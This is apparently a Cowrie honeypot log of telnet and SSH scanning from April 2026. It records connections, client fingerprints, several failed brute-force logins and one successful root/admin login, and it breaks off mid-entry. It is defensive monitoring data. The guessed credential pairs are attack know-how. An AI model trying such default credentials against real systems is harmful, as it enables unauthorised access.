{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":47360,"dst_ip":"159.203.135.109","dst_port":23,"session":"33deb7aee64e","protocol":"telnet","message":"New connection: 103.139.59.209:47360 (159.203.135.109:23) [session: 33deb7aee64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:38.587731Z"}
{"eventid":"cowrie.session.closed","duration":30.632981777191162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:40.221880Z","src_ip":"103.139.59.209","session":"0837d1c5518c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":47376,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a26557ca07d","protocol":"telnet","message":"New connection: 103.139.59.209:47376 (159.203.135.109:23) [session: 2a26557ca07d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:41.058498Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.237.227.173","src_port":50708,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1307ae5403d","protocol":"telnet","message":"New connection: 37.237.227.173:50708 (10.17.0.5:23) [session: c1307ae5403d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:41.364706Z"}
{"eventid":"cowrie.session.closed","duration":30.467657566070557,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:43.156267Z","src_ip":"103.139.59.209","session":"73bbefcae7ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.479893922805786,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:45.133472Z","src_ip":"103.139.59.209","session":"a74066770cd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":47388,"dst_ip":"159.203.135.109","dst_port":23,"session":"6cd4df391b21","protocol":"telnet","message":"New connection: 103.139.59.209:47388 (159.203.135.109:23) [session: 6cd4df391b21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:45.577979Z"}
{"eventid":"cowrie.session.closed","duration":30.4677791595459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:47.161140Z","src_ip":"103.139.59.209","session":"b0d82afbae40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.543680429458618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:49.122295Z","src_ip":"103.139.59.209","session":"b890dcff2cc3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":44500,"dst_ip":"159.203.135.109","dst_port":23,"session":"b94371acd486","protocol":"telnet","message":"New connection: 103.139.59.209:44500 (159.203.135.109:23) [session: b94371acd486]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:50.568271Z"}
{"eventid":"cowrie.session.closed","duration":30.36809253692627,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:51.149889Z","src_ip":"103.139.59.209","session":"fd28512dedcd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":45602,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea46db6cade0","protocol":"ssh","message":"New connection: 159.203.92.129:45602 (159.203.135.109:22) [session: ea46db6cade0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:51.366497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:51.371318Z","src_ip":"159.203.92.129","session":"ea46db6cade0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:51.375319Z","src_ip":"159.203.92.129","session":"ea46db6cade0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234@2025","message":"login attempt [1234/1234@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:51.383973Z","src_ip":"159.203.92.129","session":"ea46db6cade0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":44506,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5e5d9ae6429","protocol":"telnet","message":"New connection: 103.139.59.209:44506 (159.203.135.109:23) [session: f5e5d9ae6429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:51.580552Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:52.392277Z","src_ip":"159.203.92.129","session":"ea46db6cade0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":44514,"dst_ip":"159.203.135.109","dst_port":23,"session":"95a1a8a5a1d0","protocol":"telnet","message":"New connection: 103.139.59.209:44514 (159.203.135.109:23) [session: 95a1a8a5a1d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:52.620816Z"}
{"eventid":"cowrie.session.closed","duration":30.532641887664795,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:53.126589Z","src_ip":"103.139.59.209","session":"b94f4a0626b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.53663206100464,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:54.130201Z","src_ip":"103.139.59.209","session":"bdde18f76223","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":44516,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4185856a450","protocol":"telnet","message":"New connection: 103.139.59.209:44516 (159.203.135.109:23) [session: c4185856a450]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:54.610514Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.206.82.98","src_port":51152,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ebb09a7157e","protocol":"telnet","message":"New connection: 185.206.82.98:51152 (10.17.0.5:23) [session: 9ebb09a7157e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:54.738807Z"}
{"eventid":"cowrie.session.closed","duration":13.37996506690979,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:54.744515Z","src_ip":"37.237.227.173","session":"c1307ae5403d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.536525011062622,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:55.152625Z","src_ip":"103.139.59.209","session":"69408956d63f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":42566,"dst_ip":"10.17.0.5","dst_port":22,"session":"66dfa9c3c55b","protocol":"ssh","message":"New connection: 171.25.158.70:42566 (10.17.0.5:22) [session: 66dfa9c3c55b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:55.806875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:55.812104Z","src_ip":"171.25.158.70","session":"66dfa9c3c55b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:55.927008Z","src_ip":"171.25.158.70","session":"66dfa9c3c55b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"password!","message":"login attempt [test/password!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:56.414997Z","src_ip":"171.25.158.70","session":"66dfa9c3c55b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:57.529879Z","src_ip":"171.25.158.70","session":"66dfa9c3c55b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":56778,"dst_ip":"159.203.135.109","dst_port":23,"session":"b41199280d3a","protocol":"telnet","message":"New connection: 103.139.59.209:56778 (159.203.135.109:23) [session: b41199280d3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:57.718941Z"}
{"eventid":"cowrie.session.closed","duration":30.580183744430542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:58.144637Z","src_ip":"103.139.59.209","session":"ad894010c992","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.202104806900024,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:58.809058Z","src_ip":"103.139.59.209","session":"c29677a608dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":56782,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cb181b3c66d","protocol":"telnet","message":"New connection: 103.139.59.209:56782 (159.203.135.109:23) [session: 4cb181b3c66d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:36:59.590708Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":56794,"dst_ip":"159.203.135.109","dst_port":23,"session":"426f638a570c","protocol":"telnet","message":"New connection: 103.139.59.209:56794 (159.203.135.109:23) [session: 426f638a570c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:00.396981Z"}
{"eventid":"cowrie.session.closed","duration":30.481966018676758,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:05.176085Z","src_ip":"103.139.59.209","session":"14e26e75d039","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":56808,"dst_ip":"159.203.135.109","dst_port":23,"session":"af6571c06fa8","protocol":"telnet","message":"New connection: 103.139.59.209:56808 (159.203.135.109:23) [session: af6571c06fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:05.575662Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":56814,"dst_ip":"159.203.135.109","dst_port":23,"session":"071fdda6ff02","protocol":"telnet","message":"New connection: 103.139.59.209:56814 (159.203.135.109:23) [session: 071fdda6ff02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:05.593298Z"}
{"eventid":"cowrie.session.closed","duration":12.523179292678833,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:07.261837Z","src_ip":"185.206.82.98","session":"9ebb09a7157e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.550569772720337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:08.123696Z","src_ip":"103.139.59.209","session":"6de2d45e4e5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58027172088623,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:09.157513Z","src_ip":"103.139.59.209","session":"0317999afa1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.562683820724487,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:10.150315Z","src_ip":"103.139.59.209","session":"33deb7aee64e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.058892250061035,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:12.117263Z","src_ip":"103.139.59.209","session":"2a26557ca07d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.554598808288574,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:16.132454Z","src_ip":"103.139.59.209","session":"6cd4df391b21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.139.59.209","src_port":46712,"dst_ip":"159.203.135.109","dst_port":23,"session":"b9fd45146f0c","protocol":"telnet","message":"New connection: 103.139.59.209:46712 (159.203.135.109:23) [session: b9fd45146f0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:18.558579Z"}
{"eventid":"cowrie.session.closed","duration":30.55745792388916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:21.125566Z","src_ip":"103.139.59.209","session":"b94371acd486","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.5659658908844,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:22.146413Z","src_ip":"103.139.59.209","session":"f5e5d9ae6429","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.517956972122192,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:23.138626Z","src_ip":"103.139.59.209","session":"95a1a8a5a1d0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.636888027191162,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:25.247276Z","src_ip":"103.139.59.209","session":"c4185856a450","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.404385328292847,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:28.123199Z","src_ip":"103.139.59.209","session":"b41199280d3a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.81","src_port":55348,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6a22d3be6d7","protocol":"telnet","message":"New connection: 176.65.139.81:55348 (10.17.0.5:23) [session: c6a22d3be6d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:28.675493Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:28.837318Z","src_ip":"176.65.139.81","session":"c6a22d3be6d7","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:28.895176Z","src_ip":"176.65.139.81","session":"c6a22d3be6d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.613057613372803,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:30.203644Z","src_ip":"103.139.59.209","session":"4cb181b3c66d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.826026916503906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:31.222878Z","src_ip":"103.139.59.209","session":"426f638a570c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59842,"dst_ip":"159.203.135.109","dst_port":22,"session":"a48f45156b26","protocol":"ssh","message":"New connection: 159.203.92.129:59842 (159.203.135.109:22) [session: a48f45156b26]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:35.263269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:35.268765Z","src_ip":"159.203.92.129","session":"a48f45156b26","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:35.273922Z","src_ip":"159.203.92.129","session":"a48f45156b26","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"1234@2026","message":"login attempt [1234/1234@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:35.283960Z","src_ip":"159.203.92.129","session":"a48f45156b26","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.545663595199585,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:36.121238Z","src_ip":"103.139.59.209","session":"af6571c06fa8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.631190061569214,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:36.224398Z","src_ip":"103.139.59.209","session":"071fdda6ff02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:36.317649Z","src_ip":"159.203.92.129","session":"a48f45156b26","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":56016,"dst_ip":"10.17.0.5","dst_port":22,"session":"e89c40aa9c31","protocol":"ssh","message":"New connection: 171.25.158.70:56016 (10.17.0.5:22) [session: e89c40aa9c31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:44.704832Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:37:44.713035Z","src_ip":"171.25.158.70","session":"e89c40aa9c31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sh